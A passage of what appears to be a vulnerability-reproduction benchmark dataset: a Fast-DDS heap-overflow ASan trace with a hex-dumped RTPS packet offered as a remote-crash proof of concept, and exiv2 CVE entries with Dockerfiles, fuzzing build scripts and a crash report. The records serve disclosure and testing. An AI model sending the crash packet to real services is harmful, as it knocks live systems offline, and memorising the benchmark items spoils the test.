/usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/functional:482:17 #18 0x7ffff615d6ba in std::_Function_handler<void (eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&), std::_Bind<void (eprosima::fastrtps::rtps::MessageReceiver::* (eprosima::fastrtps::rtps::MessageReceiver*, std::_Placeholder<1>, std::_Placeholder<2>))(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&)> >::_M_invoke(std::_Any_data const&, eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/std_function.h:300:2 #19 0x7ffff6155aff in std::function<void (eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&)>::operator()(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&) const /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/std_function.h:688:14 #20 0x7ffff6140f58 in eprosima::fastrtps::rtps::MessageReceiver::proc_Submsg_Data(eprosima::fastrtps::rtps::CDRMessage_t*, eprosima::fastrtps::rtps::SubmessageHeader_t*) const /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/messages/MessageReceiver.cpp:841:5 #21 0x7ffff612fe06 in eprosima::fastrtps::rtps::MessageReceiver::processCDRMsg(eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::CDRMessage_t*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/messages/MessageReceiver.cpp:418:29 #22 0x7ffff61a62f6 in eprosima::fastrtps::rtps::ReceiverResource::OnDataReceived(unsigned char const*, unsigned int, eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::Locator_t const&) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/network/ReceiverResource.cpp:132:14 #23 0x7ffff65dd753 in eprosima::fastdds::rtps::UDPChannelResource::perform_listen_operation(eprosima::fastrtps::rtps::Locator_t) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/transport/UDPChannelResource.cpp:70:33 #24 0x7ffff65e82bd in void std::__invoke_impl<void, void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t>(std::__invoke_memfun_deref, void (eprosima::fastdds::rtps::UDPChannelResource::*&&)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*&&, eprosima::fastrtps::rtps::Locator_t&&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/invoke.h:73:14 #25 0x7ffff65e7eaa in std::__invoke_result<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t>::type std::__invoke<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t>(void (eprosima::fastdds::rtps::UDPChannelResource::*&&)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*&&, eprosima::fastrtps::rtps::Locator_t&&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/invoke.h:95:14 #26 0x7ffff65e7e1a in void std::thread::_Invoker<std::tuple<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t> >::_M_invoke<0ul, 1ul, 2ul>(std::_Index_tuple<0ul, 1ul, 2ul>) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/thread:244:13 #27 0x7ffff65e7d84 in std::thread::_Invoker<std::tuple<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t> >::operator()() /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/thread:251:11 #28 0x7ffff65e7698 in std::thread::_State_impl<std::thread::_Invoker<std::tuple<void (eprosima::fastdds::rtps::UDPChannelResource::*)(eprosima::fastrtps::rtps::Locator_t), eprosima::fastdds::rtps::UDPChannelResource*, eprosima::fastrtps::rtps::Locator_t> > >::_M_run() /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/thread:195:13 #29 0x7ffff477cde3 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xd6de3) #30 0x7ffff4c22608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477:8 #31 0x7ffff4469132 in clone /build/glibc-SzIz7B/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95 0x616000006b8c is located 0 bytes to the right of 524-byte region [0x616000006980,0x616000006b8c) allocated by thread T0 here: #0 0x4d9582 in calloc (/home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/examples/cpp/dds/HelloWorld/DDSSecureHelloWorldExample+0x4d9582) #1 0x7ffff5fb08e1 in eprosima::fastrtps::rtps::TopicPayloadPool::PayloadNode::PayloadNode(unsigned int) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/history/TopicPayloadPool.hpp:144:30 #2 0x7ffff5fb00d4 in eprosima::fastrtps::rtps::TopicPayloadPool::do_allocate(unsigned int) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/history/TopicPayloadPool.cpp:192:47 #3 0x7ffff5fb1562 in eprosima::fastrtps::rtps::TopicPayloadPool::reserve(unsigned int, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/history/TopicPayloadPool.cpp:253:32 #4 0x7ffff5fb5492 in eprosima::fastrtps::rtps::PreallocatedReallocTopicPayloadPool::reserve_history(eprosima::fastrtps::rtps::PoolConfig const&, bool) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/history/./TopicPayloadPool_impl/PreallocatedWithRealloc.hpp:58:9 #5 0x7ffff5fc0fba in eprosima::fastrtps::rtps::detail::TopicPayloadPoolProxy::reserve_history(eprosima::fastrtps::rtps::PoolConfig const&, bool) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/history/TopicPayloadPoolRegistry_impl/TopicPayloadPoolProxy.hpp:83:29 #6 0x7ffff6bbbeb0 in eprosima::fastrtps::rtps::PDPSimple::createPDPEndpoints() /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/builtin/discovery/participant/PDPSimple.cpp:307:27 #7 0x7ffff6b79022 in eprosima::fastrtps::rtps::PDP::initPDP(eprosima::fastrtps::rtps::RTPSParticipantImpl*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/builtin/discovery/participant/PDP.cpp:393:10 #8 0x7ffff6bb67d4 in eprosima::fastrtps::rtps::PDPSimple::init(eprosima::fastrtps::rtps::RTPSParticipantImpl*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/builtin/discovery/participant/PDPSimple.cpp:119:15 #9 0x7ffff6b665df in eprosima::fastrtps::rtps::BuiltinProtocols::initBuiltinProtocols(eprosima::fastrtps::rtps::RTPSParticipantImpl*, eprosima::fastrtps::rtps::BuiltinAttributes&) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/builtin/BuiltinProtocols.cpp:130:18 #10 0x7ffff61b2093 in eprosima::fastrtps::rtps::RTPSParticipantImpl::RTPSParticipantImpl(unsigned int, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::RTPSParticipant*, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/participant/RTPSParticipantImpl.cpp:422:31 #11 0x7ffff61b9739 in eprosima::fastrtps::rtps::RTPSParticipantImpl::RTPSParticipantImpl(unsigned int, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::RTPSParticipant*, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/participant/RTPSParticipantImpl.cpp:449:7 #12 0x7ffff62429f2 in eprosima::fastrtps::rtps::RTPSDomainImpl::createParticipant(unsigned int, bool, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/RTPSDomain.cpp:216:21 #13 0x7ffff6244a87 in eprosima::fastrtps::rtps::RTPSDomain::createParticipant(unsigned int, bool, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/RTPSDomain.cpp:88:12 #14 0x7ffff650623c in eprosima::fastdds::dds::DomainParticipantImpl::enable() /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/fastdds/domain/DomainParticipantImpl.cpp:269:16 #15 0x7ffff6584ef5 in eprosima::fastdds::dds::DomainParticipant::enable() /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/fastdds/domain/DomainParticipant.cpp:110:36 #16 0x7ffff64d3b15 in eprosima::fastdds::dds::DomainParticipantFactory::create_participant(unsigned int, eprosima::fastdds::dds::DomainParticipantQos const&, eprosima::fastdds::dds::DomainParticipantListener*, eprosima::fastdds::dds::StatusMask const&) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/fastdds/domain/DomainParticipantFactory.cpp:187:51 #17 0x557885 in HelloWorldSubscriber::init() (/home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/examples/cpp/dds/HelloWorld/DDSSecureHelloWorldExample+0x557885) #18 0x564840 in main (/home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/examples/cpp/dds/HelloWorld/DDSSecureHelloWorldExample+0x564840) #19 0x7ffff436e082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 Thread T2 created by T0 here: #0 0x4c376c in pthread_create (/home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/examples/cpp/dds/HelloWorld/DDSSecureHelloWorldExample+0x4c376c) #1 0x7ffff477d0a8 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xd70a8) #2 0x7ffff65dcf79 in eprosima::fastdds::rtps::UDPChannelResource::UDPChannelResource(eprosima::fastdds::rtps::UDPTransportInterface*, asio::basic_datagram_socket<asio::ip::udp>&, unsigned int, eprosima::fastrtps::rtps::Locator_t const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, eprosima::fastdds::rtps::TransportReceiverInterface*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/transport/UDPChannelResource.cpp:42:12 #3 0x7ffff671bce3 in eprosima::fastdds::rtps::UDPTransportInterface::CreateInputChannelResource(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, eprosima::fastrtps::rtps::Locator_t const&, bool, unsigned int, eprosima::fastdds::rtps::TransportReceiverInterface*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/transport/UDPTransportInterface.cpp:233:50 #4 0x7ffff67213d3 in eprosima::fastdds::rtps::UDPTransportInterface::OpenAndBindInputSockets(eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastdds::rtps::TransportReceiverInterface*, bool, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/transport/UDPTransportInterface.cpp:207:34 #5 0x7ffff666c089 in eprosima::fastdds::rtps::UDPv4Transport::OpenInputChannel(eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastdds::rtps::TransportReceiverInterface*, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/transport/UDPv4Transport.cpp:327:19 #6 0x7ffff61a422b in eprosima::fastrtps::rtps::ReceiverResource::ReceiverResource(eprosima::fastdds::rtps::TransportInterface&, eprosima::fastrtps::rtps::Locator_t const&, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/network/ReceiverResource.cpp:43:24 #7 0x7ffff6191a95 in eprosima::fastrtps::rtps::NetworkFactory::BuildReceiverResources(eprosima::fastrtps::rtps::Locator_t&, std::vector<std::shared_ptr<eprosima::fastrtps::rtps::ReceiverResource>, std::allocator<std::shared_ptr<eprosima::fastrtps::rtps::ReceiverResource> > >&, unsigned int) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/network/NetworkFactory.cpp:74:25 #8 0x7ffff61b7d3a in eprosima::fastrtps::rtps::RTPSParticipantImpl::createReceiverResources(eprosima::fastdds::rtps::LocatorList&, bool, bool) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/participant/RTPSParticipantImpl.cpp:1680:38 #9 0x7ffff61b0be5 in eprosima::fastrtps::rtps::RTPSParticipantImpl::RTPSParticipantImpl(unsigned int, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::RTPSParticipant*, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/participant/RTPSParticipantImpl.cpp:354:5 #10 0x7ffff61b9739 in eprosima::fastrtps::rtps::RTPSParticipantImpl::RTPSParticipantImpl(unsigned int, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::GuidPrefix_t const&, eprosima::fastrtps::rtps::RTPSParticipant*, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/participant/RTPSParticipantImpl.cpp:449:7 #11 0x7ffff62429f2 in eprosima::fastrtps::rtps::RTPSDomainImpl::createParticipant(unsigned int, bool, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/RTPSDomain.cpp:216:21 #12 0x7ffff6244a87 in eprosima::fastrtps::rtps::RTPSDomain::createParticipant(unsigned int, bool, eprosima::fastrtps::rtps::RTPSParticipantAttributes const&, eprosima::fastrtps::rtps::RTPSParticipantListener*) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/rtps/RTPSDomain.cpp:88:12 #13 0x7ffff650623c in eprosima::fastdds::dds::DomainParticipantImpl::enable() /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/fastdds/domain/DomainParticipantImpl.cpp:269:16 #14 0x7ffff6584ef5 in eprosima::fastdds::dds::DomainParticipant::enable() /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/fastdds/domain/DomainParticipant.cpp:110:36 #15 0x7ffff64d3b15 in eprosima::fastdds::dds::DomainParticipantFactory::create_participant(unsigned int, eprosima::fastdds::dds::DomainParticipantQos const&, eprosima::fastdds::dds::DomainParticipantListener*, eprosima::fastdds::dds::StatusMask const&) /home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/src/cpp/fastdds/domain/DomainParticipantFactory.cpp:187:51 #16 0x557885 in HelloWorldSubscriber::init() (/home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/examples/cpp/dds/HelloWorld/DDSSecureHelloWorldExample+0x557885) #17 0x564840 in main (/home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/examples/cpp/dds/HelloWorld/DDSSecureHelloWorldExample+0x564840) #18 0x7ffff436e082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/seulbae/ddssecurity/targets/fastdds-2.9.1/src/fastrtps/examples/cpp/dds/HelloWorld/DDSSecureHelloWorldExample+0x4d87b6) in __asan_memcpy Shadow bytes around the buggy address: 0x0c2c7fff8d20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2c7fff8d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2c7fff8d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2c7fff8d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2c7fff8d60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c2c7fff8d70: 00[04]fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2c7fff8d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2c7fff8d90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2c7fff8da0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2c7fff8db0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2c7fff8dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==68865==ABORTING PoC Run any fastdds process on domain 0. Send the following RTPS packet to 127.0.0.1:7400: 0000 52 54 50 53 02 02 ff ff 01 0f 45 d2 b3 f5 58 b9 0010 01 00 00 00 15 05 00 00 00 00 10 00 00 01 00 c7 0020 00 01 00 c2 00 00 00 00 01 00 00 00 00 03 00 00 0030 50 00 10 00 ff ff ff ff ff ff ff ff ff ff ff ff 0040 ff ff ff ff 59 00 08 00 01 00 00 00 ff ff ff ff 0050 ff ff ff ff Impact This can remotely crash any Fast-DDS process.
[]
[ { "sha": "349227005827e8a67a0406b823138b5068cc47dc", "url": "https://github.com/eProsima/Fast-DDS/commit/349227005827e8a67a0406b823138b5068cc47dc" } ]
exiv2.cve-2018-17282
exiv2/exiv2
fa449a4d2c58d63f0d75ff259f25683a98a44630
2017-04-26T14:16:21
exiv2
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y cmake make ccache python3 libexpat1-dev zlib1g-dev libssh-dev libcurl4-openssl-dev libxml2-utils RUN git clone https://github.com/exiv2/exiv2 exiv2 RUN git -C exiv2 checkout fa449a4d2c58d63f0d75ff259f25683a98a44630 WORKDIR $SRC/exiv2 COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build cd build cmake -DEXIV2_ENABLE_PNG=ON -DEXIV2_ENABLE_WEBREADY=ON -DEXIV2_ENABLE_CURL=OFF -DEXIV2_ENABLE_BMFF=ON -DEXIV2_TEAM_WARNINGS_AS_ERRORS=ON -DBUILD_SHARED_LIBS=OFF -DCMAKE_CXX_COMPILER="${CXX}" -DCMAKE_CXX_FLAGS="${CXXFLAGS}" -DEXIV2_BUILD_FUZZ_TESTS=ON -DEXIV2_TEAM_OSS_FUZZ=ON -DLIB_FUZZING_ENGINE="${LIB_FUZZING_ENGINE}" .. make -j $(nproc)
/src/exiv2
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/Exiv2/exiv2/issues/457 ## Description: Issue: Exiv2/exiv2#457 Title: CVE-2018-17282: SEGV in Exiv2::DataValue::copy at value.cpp:242 State: closed Created by: Marsman1996 Created at: 2018-09-20 14:54:34+00:00 Labels: bug Issue Body: Tested in Ubuntu 16.04, 64bit, Exiv2(master 37b8725) `$ exiv2 $POC` https://github.com/Marsman1996/pocs/blob/master/exiv2/CVE-2018-17282/poc8-DataValue%20copy gdb info: ``` Program received signal SIGSEGV, Segmentation fault. __memmove_avx_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-avx-unaligned.S:164 164 ../sysdeps/x86_64/multiarch/memcpy-avx-unaligned.S: No such file or directory. (gdb) bt #0 __memmove_avx_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-avx-unaligned.S:164 #1 0x00007ffff797d3e0 in std::__copy_move<false, true, std::random_access_iterator_tag>::__copy_m<unsigned char> ( __first=0x65c0c0 <incomplete sequence \350>, __last=0x65c0c1 "", __result=0x0) at /usr/include/c++/5/bits/stl_algobase.h:384 #2 0x00007ffff799f6a7 in std::__copy_move_a<false, unsigned char const*, unsigned char*> (__first=0x65c0c0 <incomplete sequence \350>, __last=0x65c0c1 "", __result=0x0) at /usr/include/c++/5/bits/stl_algobase.h:402 #3 0x00007ffff79bef6c in std::__copy_move_a2<false, __gnu_cxx::__normal_iterator<unsigned char const*, std::vector<unsigned char, std::allocator<unsigned char> > >, unsigned char*> (__first=232 '\350', __last=0 '\000', __result=0x0) at /usr/include/c++/5/bits/stl_algobase.h:440 #4 0x00007ffff79be1b1 in std::copy<__gnu_cxx::__normal_iterator<unsigned char const*, std::vector<unsigned char, std::allocator<unsigned char> > >, unsigned char*> (__first=232 '\350', __last=0 '\000', __result=0x0) at /usr/include/c++/5/bits/stl_algobase.h:472 #5 0x00007ffff79b867e in Exiv2::DataValue::copy (this=0x65c090, buf=0x0) at /home/marsman/Desktop/crashana/exiv2/exiv2/src/value.cpp:242 #6 0x00007ffff795c798 in Exiv2::Exifdatum::copy (this=0x65bfc0, buf=0x0, byteOrder=Exiv2::littleEndian) at /home/marsman/Desktop/crashana/exiv2/exiv2/src/exif.cpp:357 #7 0x00007ffff79b3824 in Exiv2::TiffImage::readMetadata (this=0x659a50) e/marsman/Desktop/crashana/exiv2/exiv2/src/tiffimage.cpp:195 #8 0x0000000000422097 in Action::Print::printSummary (this=0x65acb0) at /home/marsman/Desktop/crashana/exiv2/exiv2/src/actions.cpp:286 #9 0x0000000000421d7d in Action::Print::run (this=0x65acb0, path="../../poc8-DataValue::copy") at /home/marsman/Desktop/crashana/exiv2/exiv2/src/actions.cpp:246 #10 0x0000000000412bc3 in main (argc=2, argv=0x7fffffffddc8) at /home/marsman/Desktop/crashana/exiv2/exiv2/src/exiv2.cpp:167 ``` Asan info: ``` ==130778==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f113fb20934 bp 0x7ffdf01f55d0 sp 0x7ffdf01f4d58 T0) #0 0x7f113fb20933 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xaa933) #1 0x7f113fb02e8d in __asan_memmove (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8ce8d) #2 0x7f113f36b9b5 in unsigned char* std::__copy_move<false, true, std::random_access_iterator_tag>::__copy_m<unsigned char>(unsigned char const*, unsigned char const*, unsigned char*) /usr/include/c++/5/bits/stl_algobase.h:384 #3 0x7f113f3a54d6 in unsigned char* std::__copy_move_a<false, unsigned char const*, unsigned char*>(unsigned char const*, unsigned char const*, unsigned char*) /usr/include/c++/5/bits/stl_algobase.h:402 #4 0x7f113f3dc03f in unsigned char* std::__copy_move_a2<false, __gnu_cxx::__normal_iterator<unsigned char const*, std::vector<unsigned char, std::allocator<unsigned char> > >, unsigned char*>(__gnu_cxx::__normal_iterator<unsigned char const*, std::vector<unsigned char, std::allocator<unsigned char> > >, __gnu_cxx::__normal_iterator<unsigned char const*, std::vector<unsigned char, std::allocator<unsigned char> > >, unsigned char*) (/home/marsman/Desktop/crashana/exiv2/exiv2/build_asan/lib/libexiv2.so.0+0x31503f) #5 0x7f113f3daa6d in unsigned char* std::copy<__gnu_cxx::__normal_iterator<unsigned char const*, std::vector<unsigned char, std::allocator<unsigned char> > >, unsigned char*>(__gnu_cxx::__normal_iterator<unsigned char const*, std::vector<unsigned char, std::allocator<unsigned char> > >, __gnu_cxx::__normal_iterator<unsigned char const*, std::vector<unsigned char, std::allocator<unsigned char> > >, unsigned char*) (/home/marsman/Desktop/crashana/exiv2/exiv2/build_asan/lib/libexiv2.so.0+0x313a6d) #6 0x7f113f3d02f7 in Exiv2::DataValue::copy(unsigned char*, Exiv2::ByteOrder) const /home/marsman/Desktop/crashana/exiv2/exiv2/src/value.cpp:242 #7 0x7f113f335c0a in Exiv2::Exifdatum::copy(unsigned char*, Exiv2::ByteOrder) const /home/marsman/Desktop/crashana/exiv2/exiv2/src/exif.cpp:357 #8 0x7f113f3c662a in Exiv2::TiffImage::readMetadata() /home/marsman/Desktop/crashana/exiv2/exiv2/src/tiffimage.cpp:195 #9 0x42b5bd in Action::Print::printSummary() /home/marsman/Desktop/crashana/exiv2/exiv2/src/actions.cpp:286 #10 0x42ae35 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/marsman/Desktop/crashana/exiv2/exiv2/src/actions.cpp:246 #11 0x413757 in main /home/marsman/Desktop/crashana/exiv2/exiv2/src/exiv2.cpp:167 #12 0x7f113e78582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #13 0x413168 in _start (/home/marsman/Desktop/crashana/exiv2/exiv2/build_asan/bin/exiv2+0x413168) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ??:0 ?? ==130778==ABORTING ``` Addition: This bug was found with mem-AFL, which is based on AFL. Mem-AFL is developed by Yanhao(unfuzzable123@gmail.com) & Marsman1996(lqliuyuwei@outlook.com) Comments: Comment by fgeek on 2018-09-24 07:03:19+00:00: Crash reproduced. Thanks for reporting.
[]
[ { "sha": "670fb73dd5ee8acab90971c4878de29f9fc43a02", "url": "https://github.com/Exiv2/exiv2/commit/670fb73dd5ee8acab90971c4878de29f9fc43a02" }, { "sha": "b6a8d39613a28603a989bd5278798db8a54eeb1e", "url": "https://github.com/Exiv2/exiv2/commit/b6a8d39613a28603a989bd5278798db8a54eeb1e" }, { "sha": "afb98cbc6e288dc8ea75f3394a347fb9b37abc55", "url": "https://github.com/Exiv2/exiv2/commit/afb98cbc6e288dc8ea75f3394a347fb9b37abc55" }, { "sha": "3d57bbc6e6036723df3c7da352e40267c90d1640", "url": "https://github.com/Exiv2/exiv2/commit/3d57bbc6e6036723df3c7da352e40267c90d1640" }, { "sha": "04052ceb8609ea9c92095e61807efde2166cb6f5", "url": "https://github.com/Exiv2/exiv2/commit/04052ceb8609ea9c92095e61807efde2166cb6f5" }, { "sha": "4b1d0656dc69324a7d46c7013927b74e4368aa08", "url": "https://github.com/Exiv2/exiv2/commit/4b1d0656dc69324a7d46c7013927b74e4368aa08" } ]
exiv2.cve-2018-10958
exiv2/exiv2
fa449a4d2c58d63f0d75ff259f25683a98a44630
2017-04-26T14:16:21
exiv2
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y cmake make ccache python3 libexpat1-dev zlib1g-dev libssh-dev libcurl4-openssl-dev libxml2-utils RUN git clone https://github.com/exiv2/exiv2 exiv2 RUN git -C exiv2 checkout fa449a4d2c58d63f0d75ff259f25683a98a44630 WORKDIR $SRC/exiv2 COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build cd build cmake -DEXIV2_ENABLE_PNG=ON -DEXIV2_ENABLE_WEBREADY=ON -DEXIV2_ENABLE_CURL=OFF -DEXIV2_ENABLE_BMFF=ON -DEXIV2_TEAM_WARNINGS_AS_ERRORS=ON -DBUILD_SHARED_LIBS=OFF -DCMAKE_CXX_COMPILER="${CXX}" -DCMAKE_CXX_FLAGS="${CXXFLAGS}" -DEXIV2_BUILD_FUZZ_TESTS=ON -DEXIV2_TEAM_OSS_FUZZ=ON -DLIB_FUZZING_ENGINE="${LIB_FUZZING_ENGINE}" .. make -j $(nproc)
/src/exiv2
address
